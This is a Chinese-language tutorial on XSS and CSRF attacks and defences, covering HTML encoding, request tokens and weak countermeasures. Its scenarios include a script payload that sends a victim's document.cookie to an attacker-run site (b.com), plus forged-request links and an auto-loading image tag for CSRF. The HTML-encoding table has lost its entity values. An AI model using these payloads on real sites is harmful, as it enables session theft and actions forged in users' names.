网络安全之【XSS和XSRF攻击】
XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。
场景一：
当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容：<%=request.getParameter("content")%>
</body>
</html>我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？
Stored XSS
Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。
场景二：
a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。 Stored XSS漏洞危害性更大，危害面更广。
XSS防御
我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。
Html encode
假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。
less-than character (<) | < |
|---|---|
greater-than character (>) | > |
ampersand character (&) | & |
double-quote character (") | " |
space character( ) | |
Any ASCII code character whose code is greater-than or equal to 0x80 | &#<number>, where <number> is the ASCII character value. |
比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。
其它
下面提供两种Html encode的方法。
- 使用Apache的commons-lang.jar StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换
- 自己实现转换，只转换部分字符 private static String htmlEncode(char c) { switch(c) { case '&': return"&"; case '<': return"<"; case '>': return">"; case '"': return"""; case ' ': return" "; default: return c +""; } } /** 对传入的字符串str进行Html encode转换 */ public static String htmlEncode(String str) { if(str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); }
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题&content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
- 虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
- 在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
- 第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
- 无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
- 通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
- 过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如
<img src="./create_post.php" />就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用window.alert = function(){};把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。